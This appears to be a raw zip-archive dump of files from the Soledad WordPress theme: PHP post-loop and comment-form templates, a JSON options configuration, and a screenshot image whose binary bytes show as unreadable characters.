					<?php if ( has_post_format( 'gallery' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
			<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ): ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>

			<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta">
					<?php do_action( 'penci_grid_meta' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_author' ) ): ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
							if ( function_exists( 'coauthors_posts_links' ) ):
								penci_coauthors_posts_links();
							else:
								?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) ): ?>
                        <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ): ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( get_theme_mod( 'penci_grid_countviews' ) ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>

		<?php
		if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
			$class_button = '';
			if ( get_theme_mod( 'penci_grid_remove_arrow' ) ):
				$class_button .= ' penci-btn-remove-arrow';
			endif;
			if ( get_theme_mod( 'penci_grid_readmore_button' ) ):
				$class_button .= ' penci-btn-make-button';
			endif;
			if ( get_theme_mod( 'penci_grid_readmore_align' ) ):
				$class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' );
			endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

		<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ): ?>
            <div class="penci-post-box-meta penci-post-box-grid">
                <div class="penci-post-share-box">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
                </div>
            </div>
		<?php endif; ?>
    </article>
</li>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>

<?php ++ $j; ?>
PK     N\,"  "    toolset-config.jsonnu [        {
  "data": [
    {
      "name": "penci_top_bar_show",
      "type": [
        "customizer"
      ],
      "group": "Topbar Options",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Show Top Bar",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_top_bar_enable_menu",
      "type": [
        "customizer"
      ],
      "group": "Topbar Options",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Show Topbar Menu",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_top_bar_hide_social",
      "type": [
        "customizer"
      ],
      "group": "Topbar Options",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Hide Social Icons in Top Bar",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_header_layout",
      "type": [
        "customizer"
      ],
      "group": "Logo and Header",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Header Layout",
        "type": "select",
        "values": [
          {
            "text": "Header 1",
            "value": "header-1"
          },
          {
            "text": "Header 2",
            "value": "header-2"
          },
          {
            "text": "Header 3",
            "value": "header-3"
          },
          {
            "text": "Header 4 ( Centered )",
            "value": "header-4"
          },
          {
            "text": "Header 5 ( Centered )",
            "value": "header-5"
          },
          {
            "text": "Header 6",
            "value": "header-6"
          },
          {
            "text": "Header 7",
            "value": "header-7"
          },
          {
            "text": "Header 8",
            "value": "header-8"
          },
          {
            "text": "Header 9",
            "value": "header-9"
          }
        ]
      }
    },
    {
      "name": "penci_disable_sticky_header",
      "type": [
        "customizer"
      ],
      "group": "Logo and Header",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Disable Sticky Header",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_header_social_check",
      "type": [
        "customizer"
      ],
      "group": "Logo and Header",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Disable Header Social Icons",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_header_menu_style",
      "type": [
        "customizer"
      ],
      "group": "Logo and Header",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Menu Style",
        "type": "select",
        "values": [
          {
            "text": "Menu Style 1",
            "value": "menu-style-1"
          },
          {
            "text": "Menu Style 2",
            "value": "menu-style-2"
          }
        ]
      }
    },
    {
      "name": "penci_header_social_nav",
      "type": [
        "customizer"
      ],
      "group": "Logo and Header",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Enable Social Icons on Main Navigation",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },

    {
      "name": "penci_page_display_title",
      "type": [
        "local"
      ],
      "group": "Page Settings",
      "target": [
        "single"
      ],
      "target_exclude": [
        "post"
      ],
      "gui": {
        "display_name": "Disable Page Title",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": "no"
          },
          {
            "text": "No",
            "value": "yes"
          }
        ]
      },
      "default_value": "toolset_use_theme_setting"
    },
    {
      "name": "penci_disable_breadcrumb",
      "type": [
        "customizer"
      ],
      "group": "Page Settings",
      "target": [
        "single"
      ],
      "gui": {
        "display_name": "Disable Breadcrumb",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_page_share",
      "type": [
        "customizer"
      ],
      "group": "Page Settings",
      "target": [
        "single"
      ],
      "target_exclude": [
        "post"
      ],
      "gui": {
        "display_name": "Hide Share Buttons",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_page_default_template_layout",
      "type": [
        "customizer"
      ],
      "group": "Sidebar",
      "target": [
        "single"
      ],
      "target_include": [
        "page"
      ],
      "gui": {
        "display_name": "Sidebar For Pages",
        "type": "select",
        "values": [
          {
            "text": "No Sidebar with Container",
            "value": ""
          },
          {
            "text": "No Sidebar with Smaller Container Width",
            "value": "small-width"
          },
          {
            "text": "Page with Right Sidebar",
            "value": "right-sidebar"
          },
          {
            "text": "Page with Left Sidebar",
            "value": "left-sidebar"
          }
        ]
      }
    },
    {
      "name": "penci_post_sidebar_display",
      "type": [
        "local"
      ],
      "group": "Sidebar",
      "target": [
        "single"
      ],
      "target_include": [
        "post"
      ],
      "gui": {
        "display_name": "Sidebar For Posts",
        "type": "select",
        "values": [
          {
            "text": "Left Sidebar",
            "value": "left"
          },
          {
            "text": "Right Sidebar",
            "value": "right"
          },
          {
            "text": "No Sidebar",
            "value": "no"
          }
        ]
      }
    },
    {
      "name": "penci_footer_widget_area",
      "type": [
        "customizer"
      ],
      "group": "Footer",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Disable Footer Widget Area",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_footer_social",
      "type": [
        "customizer"
      ],
      "group": "Footer",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Disable Footer Socials",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    },
    {
      "name": "penci_go_to_top",
      "type": [
        "customizer"
      ],
      "group": "Footer",
      "target": [
        "single",
        "archive"
      ],
      "gui": {
        "display_name": "Disable Go To Top Button",
        "type": "select",
        "values": [
          {
            "text": "Yes",
            "value": true
          },
          {
            "text": "No",
            "value": false
          }
        ]
      }
    }
  ]
}PK     N\[o      screenshot.pngnu [        PNG

   IHDR  p     r*  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:C1B83E5321E411ECB2C4EB56BD9DCB6A" xmpMM:DocumentID="xmp.did:C1B83E5421E411ECB2C4EB56BD9DCB6A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C1B83E5121E411ECB2C4EB56BD9DCB6A" stRef:documentID="xmp.did:C1B83E5221E411ECB2C4EB56BD9DCB6A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>(   tEXtSoftware Adobe ImageReadyqe<   3PLTEskkk໾bbb111   NNN&&&}}}ŋ  IDATxn۸  iIȲH}ZVحì                                                                                                                                                                     K..2*rQt0*wzugTcI5''>X:ͿNWԡ
/>kO
S0wJp'Vw}Fw-ujugTqe8=*Le35q2G[SmwG=rDP9y93*?qVnsw$ץyT~jq[3}4zYTsR^3*,m"IT;iT.]VQ7v)LdpL!{/LmJP6>F$7Ϊ"?THN%wD	GVno:%t	\|GmpK%d	NKgjBSL;!~O.u'{ۂ{b2=1?3Z.tÞ5V┦웈gtJE2QNVK,&rxJ]ID99y&r\TpoK"k\1ގ?/A~$4/Bm|ͦYvVL	N~GFpoũBKpWPK/>s#+ɟ^}7 ]3Xtqmi{O>a64L{r39Ii	GrC24NnTܤGd/=s#O2?+]N4s^Ū?=Py87bX]a =5]N(v*Wy}Rd%y^nYqܢVn{]y#_eP?~yo/wE3h--)\9̛/*:W>w　{w]tF3g$u	8K+XJ^s愫tBEyр[p;ޜjuVWQ^k,/*#zrT%KlFE]|c&,
{O_C(!N!מOVn5Ea:YKG.߽50[PjwpjS]Oq@țƬVxbQJqYg~JӘ]ۜ;ye"ŵscZ<ȹKwXS-/|lt%+UG^1wmD
V׻loͧsmnjmf(Y=R%ܽ}xuȏGD2m߭~F˸Z}x@itJ<qyǏXxdICe먨*GA>_xizKd1$E'8gyUޮ[U^>Hٜ;/.zXp$Ŷͦ"-O\<qM/1m`}3?V5٭/v\|UyeQS&05}yR5Vg,0*׈ڲ>j9]Q\--8|T݂2&nKܜ;Œ-r\L.ryۧo6˾8xTt[R3]	g[?-/+l.CGEmRi'ؔWnˑrecEml̫m2bcЬqTR+2[.Zm58lTD]˗Z*ic	-m`Q8	Z⮵oz?[{6YiuTШ/S"ה[Td~Mba>$nn:Rk}OVj=(=E*^B?/+(s!B3Jx[+3{h<r5lҒs*&55Gϻj3Q^|1<y6QT.KJV{Ĩr)Wo1RsjI3LQcAK
kQOpy:}<4QmEs1usf_"*|b|v먰"֚=j%/ݯ_wab]8ԢeɵH?wt>u8jNg<hQiFo/5NZ?<5:.fO<t"5aͣ0g$ӽEnE~zS-VeqĨ=:&KW+]xD>*>yT)&WկU%<{H4Rk"M}>QhG-\kT]E(Sk71$5ox䊞E(NwE'.O?k{Q_½[iԌGa,e>gc6ᦛ쥺Zҝ/L3g\a;Fkem1%fOl,Mn֞h,^(+m1*seE)YF/IӁG_>5Od:n*y-Gs>럞~/^F7<[^_QSɐ(arn iݱR߆8Ҙmi2ѢڗxsBOy|ب\C|dUd%ꯃKS	
<@ֽG7L4RɸD1*zQJ!=cL0E\O;P f*[꣊B_4Nl6eCXtw-G4NZ	(OF>|@nbu]~yƹf>2h2ay rެt?{q<8%j;.btlÅ=?t i9=ZXI<RMy5c=lb2ԃa<<d)*~..lJhRvP/煔v
>]l`u:cQ9M0e|/t+ז?ٗ꺰5	k_L:4fs,VlP'),?x6ήu}~JHZRqZ/\ frՍy?Ymfnh4##ԧU$fHm7W9
:X=R;)?b]`sp*nF^npZe2fsZ*V|V+8qm/0>Ǩt=RO'_sy&گOt[׷3>Y+hq>Mn˫Iiׅf+×jՅ+GyV͊;oy_o+],\98kZ>;W2߭;P$$cEvS
ͣzl[<9	#Φ9eswrUU+Gʢ(UAճwxx䷯<5ՅhFyV*.fk93[H6꫶7xVר!K9⎥suso
Iq;OxyukjLd>eST9uG	g|Pspj&Wkڌ%o[eiΦ<v''kx-q\]n(vPWQ
p;FKGkD?m?[+>uI?Wsb[J1?sܣtK
Ƅ                                                                       ?#y                                                           *Yl:[Sm'_/Zy+O:Sse;W4G42JFQm+T`s3Wn}XX;n0'ۦ_fghX$ߟZ_\,	Zp/Z@pf9t,[Ι腙=|xҩmm0!4МO$+CsTh^5%mz3aQhOqj|\@hL|UʌshTEWkO
U(|.j|l|1{(sQa[Mr>^ݬ/L7h֣Ƿ%RgǬMS?]Jd>SWdE"LۊU,ŗ*:ї^=YDRᩈbADD<iv^X4{6#}/gjh{7ݧxQ7!Co&#12ɨ&[F!YMIpO#5]-6J7QlW }  !}$ѓF$XWT*3jQމCnwo۾}&[YIId⧌p+Azs+mTF
JkLUN
X{Ecץڬ_7yaFaj{'kg?\3ĹM>3=2&שuKA^&ݱ(d$!-ey0{kbv(eoj׶+D$\b7K1-|GSoߋiyY}Fk6}2j"4jԼr[]E[.MqSDmMɷ[g;?+؝tROcgb"=Pi:ѝn^lHN6FpcVCrLTjq ͜R*uM!a"@Y2:i;
^z1Ub%_?G=ɜ瘪U&×	,/IV2v-.{	^/ȣ,YzoyEߪ>䳱k݄
֓#g*KТTjN5W˸Je9l/3u:Z{|Ժek٧L]VeLH.<`ҷY&r6=;I*jn?JԘZ?%>5,Β~8.%k\9Q4'nG?LBpU˂4̐qэvTJ~2I8#=\CȗR6%N&koU<ªpجK
.dAowZbQJUH2Wi ʂGA6V\	3(٭Oj*
nd&\N!L>%_'?<[cQjYˊkDI?cl8([6I
k$U}nv=*|Y۫=ߗmô%ƷlVD,|BO^*DLIp&×7bB0=V-	qyl.ma[!\?C_DmL­BҤYMysU?M%ҹ*ڬRdwԁQ}P%xRW\M)*M0 Jv/'fRJ!	)¦I̻''%Nfk}(9b.ʆgҋ'mUoZ_C섞yyѫRC6
.~K$}Q8&~odu݇nSqkӯ_ꐵƧF>HE 8                          /4O}ecwom@@%Cp=XRog$8 M7?\*/黮OuٽKc:?Q.F^q}<RZ~wY/D.-7*~iDfU7
ǿr,K=5V2p?gO/?3E&jǕVW՞FmZlʦqկW.ՋsjJjyutx՞ccmb/m3ze+ӋJLCXsa)ܟzlQ^Cs~ըe+x m7L.6GZSi)MPK~4{)E#\|9V-gGyLaw<5ig@Jw5̽uf^_N|Ѣ6ZOJj#fѯCV}Ӿ͡jIiu%zIϞ(RV
hҨmU_Ε~ZjY1nWpux\)mUl>nKf3%}YG_#C8ϨiI;~\Wo߯epJg.mG	O.CkL.OI	j|
BipmS2TE<ru[JD)O[JS~r	69'5)Mz$kQW+]k7rO*eP*LmY1K٘DZԉ>p	\I>Fp%_^TN3psV$uh/vK0vKO*
\XjO'j8slo1Z6L8¥1TlcĲ?w!MX,J[ɔ`?[sy<yٯvt9md9|oK/'g:[7(s	ſW`|ȤfR;!G}`r}eގ=(0*ܗm                                                                                                                                                                                        S? '`wd    IENDB`PK     N\M!      comments.phpnu [        <?php
/**
 * Comments template
 *
 * @package Wordpress
 * @since 1.0
 */

$enable_comment          = apply_filters( 'penci_single_show_comment', true );
$container_wrapper_class = ' pc-cms-' . get_theme_mod( 'penci_post_comments_style', 'style-1' );
$container_class         = get_theme_mod( 'penci_post_comments_collapse' ) ? 'pc-comment-s1' : 'pc-comment-normal';
$comment_lines = get_theme_mod('penci_post_comments_lines');
$comment_lines_attr = $comment_lines ? 'data-lines="'.$comment_lines.'" ' : '';
if ( ! $enable_comment ) {
	return false;
}

// Get numbers comments
$comment_numbers = get_comments_number();
$hide_count      = 0;
if ( get_theme_mod( 'penci_single_comments_remove_name' ) ) {
	$hide_count += 1;
}
if ( get_theme_mod( 'penci_single_comments_remove_email' ) ) {
	$hide_count += 1;
}
if ( get_theme_mod( 'penci_single_comments_remove_website' ) ) {
	$hide_count += 1;
}
?>
<div class="post-comments<?php if ( $comment_numbers == 0 ): echo ' no-comment-yet'; endif;
echo ' penci-comments-hide-' . $hide_count; ?>" id="comments">
	<?php
	/* Custom field */
	$commenter = wp_get_current_commenter();
	$req       = get_option( 'require_name_email' );
	$aria_req  = ( $req ? " aria-required='true'" : '' );
	$consent   = empty( $commenter['comment_author_email'] ) ? '' : ' checked="checked"';

	$fields = array(
		'author' => '<p class="comment-form-author"><input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) . '" placeholder="' . penci_get_setting( 'penci_trans_name' ) . '" size="30"' . $aria_req . ' /></p>',

		'email' => '<p class="comment-form-email"><input id="email" name="email" type="text" value="' . esc_attr( $commenter['comment_author_email'] ) . '" placeholder="' . penci_get_setting( 'penci_trans_email' ) . '" size="30"' . $aria_req . ' /></p>',

		'url' => '<p class="comment-form-url"><input id="url" name="url" type="text" value="' . esc_attr( $commenter['comment_author_url'] ) . '" placeholder="' . penci_get_setting( 'penci_trans_website' ) . '" size="30" /></p>',
	);

	if ( get_theme_mod( 'penci_single_comments_remove_name' ) ) {
		$fields['author'] = '';
	}
	if ( get_theme_mod( 'penci_single_comments_remove_email' ) ) {
		$fields['email'] = '';
	}
	if ( get_theme_mod( 'penci_single_comments_remove_website' ) ) {
		$fields['url'] = '';
	}

	if ( ! get_theme_mod( 'penci_single_hide_save_fields' ) && version_compare( get_bloginfo( 'version' ), '4.9.6', '>=' ) ) {
		$fields['cookies'] = '<p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes"' . $consent . ' />' .
		                     '<span class="comment-form-cookies-text" for="wp-comment-cookies-consent">' . penci_get_setting( 'penci_trans_save_fields' ) . '</span></p>';
	} else {
		$fields['cookies'] = '';
	}

	$custom_comment_field = '<p class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="8" placeholder="' . penci_get_setting( 'penci_trans_your_comment' ) . '" aria-required="true"></textarea></p>';  //label removed for cleaner layout

	$gdrp_mess = '';
	if ( get_theme_mod( 'penci_single_gdpr' ) ) {
		$mess_default = get_theme_mod( 'penci_single_gdpr_text' ) ? do_shortcode( get_theme_mod( 'penci_single_gdpr_text' ) ) : esc_html__( '* By using this form you agree with the storage and handling of your data by this website.', 'soledad' );

		if ( $mess_default ) {
			$gdrp_mess .= '<div class="penci-gdpr-message">';
			$gdrp_mess .= do_shortcode( $mess_default );
			$gdrp_mess .= '</div>';
		}
	}

	if ( get_theme_mod( 'penci_post_move_comment_box' ) ):
		comment_form( array(
			'class_container'      => $container_class,
			'comment_field'        => $custom_comment_field,
			'comment_notes_after'  => '',
			'logged_in_as'         => '',
			'comment_notes_before' => '',
			'title_reply'          => '<span>' . penci_get_setting( 'penci_trans_leave_a_comment' ) . '</span>',
			'cancel_reply_link'    => penci_get_setting( 'penci_trans_cancel_reply' ),
			'label_submit'         => penci_get_setting( 'penci_trans_submit' ),
			'fields'               => apply_filters( 'comment_form_default_fields', $fields ),
			'submit_field'         => $gdrp_mess . '<p class="form-submit">%1$s %2$s</p>',
		) );
	endif; /* End check if move comment box to above */

	if ( have_comments() ) :
		echo '<div class="post-title-box"><h4 class="post-box-title">';
		comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) );
		echo '</h4></div>';

		echo "<div {$comment_lines_attr}class='comments{$container_wrapper_class}'>";
		wp_list_comments( array(
			'avatar_size' => 100,
			'max_depth'   => 5,
			'style'       => 'div',
			'callback'    => 'penci_comments_template',
			'type'        => 'all'
		) );
		echo "</div>";

		echo "<div id='comments_pagination'>";
		paginate_comments_links( array( 'prev_text' => '&laquo;', 'next_text' => '&raquo;' ) );
		echo "</div>";

	endif;

	// If comments are closed and there are comments, let's leave a little note.
	if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
		?>
        <p class="no-comments"><?php echo penci_get_setting( 'penci_trans_comments_closed' ); ?></p>
	<?php elseif ( comments_open() && get_theme_mod( 'penci_post_comments_collapse' ) ):
		echo '<div class="pc-comment-s1-button"><a href="#"><i class="fa fa-commenting-o" aria-hidden="true"></i>' . esc_html( 'Add new comment', 'soledad' ) . '</a></div>';
	endif;
	if ( ! get_theme_mod( 'penci_post_move_comment_box' ) ):
		comment_form( array(
			'class_container'      => $container_class,
			'comment_field'        => $custom_comment_field,
			'comment_notes_after'  => '',
			'logged_in_as'         => '',
			'comment_notes_before' => '',
			'title_reply'          => '<span>' . penci_get_setting( 'penci_trans_leave_a_comment' ) . '</span>',
			'cancel_reply_link'    => penci_get_setting( 'penci_trans_cancel_reply' ),
			'label_submit'         => penci_get_setting( 'penci_trans_submit' ),
			'fields'               => apply_filters( 'comment_form_default_fields', $fields ),
			'submit_field'         => $gdrp_mess . '<p class="form-submit">%1$s %2$s</p>',
		) );
	endif;
	?>
</div> <!-- end comments div -->
PK     N\{e
  
    content-masonry-2.phpnu [        <?php
/**
 * Template loop for masonry 2 columns style
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<article id="post-<?php the_ID(); ?>" class="item item-masonry grid-masonry grid-masonry-2 hentry<?php if( get_theme_mod('penci_grid_meta_overlay') ): echo ' grid-overlay-meta'; endif; ?>">
	<?php if ( has_post_thumbnail() ) : ?>
		<div class="thumbnail">
			<?php
			do_action( 'penci_bookmark_post' );
			/* Display Review Piechart  */
			if( function_exists('penci_display_piechart_review_html') ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>
			<a href="<?php penci_permalink_fix() ?>" class="post-thumbnail<?php echo penci_class_lightbox_enable(); ?>">
				<?php
				$src_full = penci_get_featured_image_size( get_the_ID(), 'full' );
				$src_check = substr( $src_full, -4 );
				if( $src_check == '.gif' ) {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'full' );
					the_post_thumbnail( 'full' );
				} else {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'penci-masonry-thumb' );
					the_post_thumbnail( 'penci-masonry-thumb' );
				}
				?>
			</a>
			<?php if( ! get_theme_mod('penci_grid_icon_format') ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-play'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('far fa-image'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-music'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-link'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left'); ?></a>
				<?php endif; ?>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<div class="grid-header-box">
		<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
			<span class="cat"><?php penci_category( '' ); ?></span>
		<?php endif; ?>
		<<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
		<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
			<div class="grid-post-box-meta">
				<?php do_action( 'penci_grid_meta' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
					<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting('penci_trans_by'); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else: ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
					<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
					<span class="otherl-comment"><a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 '. penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php
				if ( get_theme_mod( 'penci_grid_countviews' ) ) {
					echo '<span>';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				}
				?>
				<?php if( penci_isshow_reading_time( $hide_readtime ) ): ?>
					<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_extra_meta' ); ?>
			</div>
		<?php endif; ?>
	</div>

	<?php if( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
		<div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
			<?php 
			do_action( 'penci_before_post_excerpt' );
			if( get_theme_mod( 'penci_excerptcharac' ) ){
				the_excerpt();
			} else {
				$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
